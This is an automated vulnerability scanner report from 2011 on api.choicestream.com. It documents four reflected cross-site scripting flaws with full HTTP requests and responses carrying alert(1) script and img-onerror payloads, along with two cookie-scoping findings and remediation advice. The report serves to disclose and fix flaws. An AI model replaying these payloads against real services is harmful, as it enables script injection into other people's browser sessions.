XSS, DORK, api.choicestream.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:02:48 CST 2011.

The DORK Report

1. Cross-site scripting (reflected)

1.1. http://api.choicestream.com/instr/api/8e360375d27a5381/r [callback parameter]

1.2. http://api.choicestream.com/instr/api/8e360375d27a5381/r [json parameter]

1.3. http://api.choicestream.com/instr/api/8e360375d27a5381/r [json parameter]

1.4. http://api.choicestream.com/instr/api/8e360375d27a5381/r [request_id parameter]

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set

1. Cross-site scripting (reflected) next
There are 4 instances of this issue:

/instr/api/8e360375d27a5381/r [callback parameter]
/instr/api/8e360375d27a5381/r [json parameter]
/instr/api/8e360375d27a5381/r [json parameter]
/instr/api/8e360375d27a5381/r [request_id parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://api.choicestream.com/instr/api/8e360375d27a5381/r [callback parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload fab20<script>alert(1)</script>91caab65fb6 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /instr/api/8e360375d27a5381/r?protocol=ScriptInclude&callback=csAny.Transport.callbackfab20<script>alert(1)</script>91caab65fb6&request_id=0&json_id=9008e73d4e84f48dff42499508f4927f&json=%7B%22discoveries%22%3A%5B%5D%2C%0A%22activities%22%3A%5B%5D%2C%0A%22get_recos%22%3A%5B%7B%22max%22%3A4%2C%0A%22type%22%3A%22tm_rec_view%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_rec_view%22%7D%2C%0A%7B%22max%22%3A15%2C%0A%22type%22%3A%22tm_rec_others%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_fans_view%22%7D%2C%0A%7B%22max%22%3A12%2C%0A%22type%22%3A%22hm_events%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_event%22%7D%2C%0A%7B%22max%22%3A10%2C%0A%22type%22%3A%22hm_national_top_sell%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_top_sell%22%7D%5D%2C%0A%22context%22%3A%7B%22appcontext%22%3A%22unknown%22%2C%0A%22api_key%22%3A%228e360375d27a5381%22%2C%0A%22cookie_id%22%3A%220081e19ed56ecb09084d5e3706f96659%22%7D%2C%0A%22transport%22%3A%7B%22endpoint%22%3A%22http%3A%2F%2Fapi.choicestream.com%2Finstr%2Fapi%22%7D%2C%0A%22__cs_rr%22%3A%221%22%7D&_=1297859805017 HTTP/1.1
Host: api.choicestream.com
Proxy-Connection: keep-alive
Referer: http://www.ticketmaster.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-CS-Request-Id: be5cd6c8-8a77-46a2-bd91-0f4717a424d8
P3P: policyref="http://www.choicestream.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMa DEVa PSAo PSDo OUR STP"
Last-Modified: Wed, 16 Feb 2011 12:39:01 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Expires: Wed, 16 Feb 2011 12:39:01 GMT
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Date: Wed, 16 Feb 2011 12:39:01 GMT
Connection: close
Set-Cookie: __cs_sp=1; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Set-Cookie: CSAnywhere=104b4795-1f25-44ea-9213-b2cf8b98f24d; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Content-Length: 27725

csAny.Transport.callbackfab20<script>alert(1)</script>91caab65fb6('0',{"status":{"message":"OK","code":0},"reco_sets":[{"recos":[],"status":{"message":"OK","code":0},"attributes":{"appcontext":"home_sec_rec_view","user_in_control_group":"false","request_id":"be5cd6c
...[SNIP]...

1.2. http://api.choicestream.com/instr/api/8e360375d27a5381/r [json parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The value of the json request parameter is copied into the HTML document as plain text between tags. The payload 4e69b<img%20src%3da%20onerror%3dalert(1)>fbc0681fa4d was submitted in the json parameter. This input was echoed as 4e69b<img src=a onerror=alert(1)>fbc0681fa4d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /instr/api/8e360375d27a5381/r?protocol=ScriptInclude&callback=csAny.Transport.callback&request_id=0&json_id=6637ef406da5252957f74f29fadb183e&json=4e69b<img%20src%3da%20onerror%3dalert(1)>fbc0681fa4d&_=1297860062247 HTTP/1.1
Host: api.choicestream.com
Proxy-Connection: keep-alive
Referer: http://www.ticketmaster.com/section/concerts?tm_link=tm_music_header
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __cs_sp=1; CSAnywhere=a1825947-71ed-4381-8242-a0d9758579bc

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-CS-Request-Id: 8080b209-b69c-4039-a6e8-1130e3f4c1cb
P3P: policyref="http://www.choicestream.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMa DEVa PSAo PSDo OUR STP"
Last-Modified: Wed, 16 Feb 2011 12:41:13 GMT
Content-Type: text/javascript;charset=UTF-8
Cteonnt-Length: 187
Cache-Control: private
Date: Wed, 16 Feb 2011 12:41:13 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: __cs_sp=1; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:41:13 GMT; Path=/
Set-Cookie: CSAnywhere=a1825947-71ed-4381-8242-a0d9758579bc; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:41:13 GMT; Path=/
Content-Length: 187

csAny.Transport.callback('0',{"status":{"message":"InvalidRequestParam: Malformed JSON payload (JSON string representation: \"4e69b<img src=a onerror=alert(1)>fbc0681fa4d\")","code":11}})

1.3. http://api.choicestream.com/instr/api/8e360375d27a5381/r [json parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The value of the json request parameter is copied into the HTML document as plain text between tags. The payload a4e72<a>f38c65d78ee was submitted in the json parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /instr/api/8e360375d27a5381/r?protocol=ScriptInclude&callback=csAny.Transport.callback&request_id=0&json_id=9008e73d4e84f48dff42499508f4927f&json=a4e72<a>f38c65d78ee&_=1297859805017 HTTP/1.1
Host: api.choicestream.com
Proxy-Connection: keep-alive
Referer: http://www.ticketmaster.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-CS-Request-Id: 1394e17d-bb5c-416b-9d5a-1fdaa048f656
P3P: policyref="http://www.choicestream.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMa DEVa PSAo PSDo OUR STP"
Last-Modified: Wed, 16 Feb 2011 12:39:01 GMT
Content-Type: text/javascript;charset=UTF-8
Cteonnt-Length: 162
Cache-Control: private
Vary: Accept-Encoding
Date: Wed, 16 Feb 2011 12:39:01 GMT
Connection: close
Set-Cookie: __cs_sp=1; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Set-Cookie: CSAnywhere=ecd41c11-c271-47e4-be0f-48b700485dd4; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Content-Length: 162

csAny.Transport.callback('0',{"status":{"message":"InvalidRequestParam: Malformed JSON payload (JSON string representation: \"a4e72<a>f38c65d78ee\")","code":11}})

1.4. http://api.choicestream.com/instr/api/8e360375d27a5381/r [request_id parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The value of the request_id request parameter is copied into the HTML document as plain text between tags. The payload bbd67<script>alert(1)</script>5886b714ae2 was submitted in the request_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /instr/api/8e360375d27a5381/r?protocol=ScriptInclude&callback=csAny.Transport.callback&request_id=0bbd67<script>alert(1)</script>5886b714ae2&json_id=9008e73d4e84f48dff42499508f4927f&json=%7B%22discoveries%22%3A%5B%5D%2C%0A%22activities%22%3A%5B%5D%2C%0A%22get_recos%22%3A%5B%7B%22max%22%3A4%2C%0A%22type%22%3A%22tm_rec_view%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_rec_view%22%7D%2C%0A%7B%22max%22%3A15%2C%0A%22type%22%3A%22tm_rec_others%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_fans_view%22%7D%2C%0A%7B%22max%22%3A12%2C%0A%22type%22%3A%22hm_events%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_event%22%7D%2C%0A%7B%22max%22%3A10%2C%0A%22type%22%3A%22hm_national_top_sell%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_top_sell%22%7D%5D%2C%0A%22context%22%3A%7B%22appcontext%22%3A%22unknown%22%2C%0A%22api_key%22%3A%228e360375d27a5381%22%2C%0A%22cookie_id%22%3A%220081e19ed56ecb09084d5e3706f96659%22%7D%2C%0A%22transport%22%3A%7B%22endpoint%22%3A%22http%3A%2F%2Fapi.choicestream.com%2Finstr%2Fapi%22%7D%2C%0A%22__cs_rr%22%3A%221%22%7D&_=1297859805017 HTTP/1.1
Host: api.choicestream.com
Proxy-Connection: keep-alive
Referer: http://www.ticketmaster.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-CS-Request-Id: 666f9505-8931-4dc5-aa35-ef8213681204
P3P: policyref="http://www.choicestream.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMa DEVa PSAo PSDo OUR STP"
Last-Modified: Wed, 16 Feb 2011 12:39:01 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Expires: Wed, 16 Feb 2011 12:39:01 GMT
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Date: Wed, 16 Feb 2011 12:39:01 GMT
Connection: close
Set-Cookie: __cs_sp=1; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Set-Cookie: CSAnywhere=a9081d22-54c6-409c-b852-7867fe4a5780; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:39:01 GMT; Path=/
Content-Length: 27725

csAny.Transport.callback('0bbd67<script>alert(1)</script>5886b714ae2',{"status":{"message":"OK","code":0},"reco_sets":[{"recos":[],"status":{"message":"OK","code":0},"attributes":{"appcontext":"home_sec_rec_view","user_in_control_group":"false","request_id":"666f9505-8
...[SNIP]...

2. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

CSAnywhere=751c89e8-4ba8-4b55-abd8-9ef34c8a05a9; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:38:55 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /instr/api/8e360375d27a5381/r?protocol=ScriptInclude&callback=csAny.Transport.callback&request_id=0&json_id=9008e73d4e84f48dff42499508f4927f&json=%7B%22discoveries%22%3A%5B%5D%2C%0A%22activities%22%3A%5B%5D%2C%0A%22get_recos%22%3A%5B%7B%22max%22%3A4%2C%0A%22type%22%3A%22tm_rec_view%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_rec_view%22%7D%2C%0A%7B%22max%22%3A15%2C%0A%22type%22%3A%22tm_rec_others%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_sec_fans_view%22%7D%2C%0A%7B%22max%22%3A12%2C%0A%22type%22%3A%22hm_events%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_event%22%7D%2C%0A%7B%22max%22%3A10%2C%0A%22type%22%3A%22hm_national_top_sell%22%2C%0A%22params%22%3A%7B%7D%2C%0A%22appcontext%22%3A%22home_page_sec_top_sell%22%7D%5D%2C%0A%22context%22%3A%7B%22appcontext%22%3A%22unknown%22%2C%0A%22api_key%22%3A%228e360375d27a5381%22%2C%0A%22cookie_id%22%3A%220081e19ed56ecb09084d5e3706f96659%22%7D%2C%0A%22transport%22%3A%7B%22endpoint%22%3A%22http%3A%2F%2Fapi.choicestream.com%2Finstr%2Fapi%22%7D%2C%0A%22__cs_rr%22%3A%221%22%7D&_=1297859805017 HTTP/1.1
Host: api.choicestream.com
Proxy-Connection: keep-alive
Referer: http://www.ticketmaster.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-CS-Request-Id: 0ef47a96-63e7-41b0-973d-a2446ffb134a
P3P: policyref="http://www.choicestream.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMa DEVa PSAo PSDo OUR STP"
Last-Modified: Wed, 16 Feb 2011 12:38:55 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Expires: Wed, 16 Feb 2011 12:38:55 GMT
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Date: Wed, 16 Feb 2011 12:38:55 GMT
Connection: close
Set-Cookie: __cs_sp=1; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:38:55 GMT; Path=/
Set-Cookie: CSAnywhere=751c89e8-4ba8-4b55-abd8-9ef34c8a05a9; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:38:55 GMT; Path=/
Content-Length: 27493

csAny.Transport.callback('0',{"status":{"message":"OK","code":0},"reco_sets":[{"recos":[],"status":{"message":"OK","code":0},"attributes":{"appcontext":"home_sec_rec_view","user_in_control_group":"fal
...[SNIP]...

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.choicestream.com
Path:	/instr/api/8e360375d27a5381/r

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CSAnywhere=751c89e8-4ba8-4b55-abd8-9ef34c8a05a9; Domain=.choicestream.com; Expires=Thu, 16-Feb-2012 12:38:55 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:02:48 CST 2011.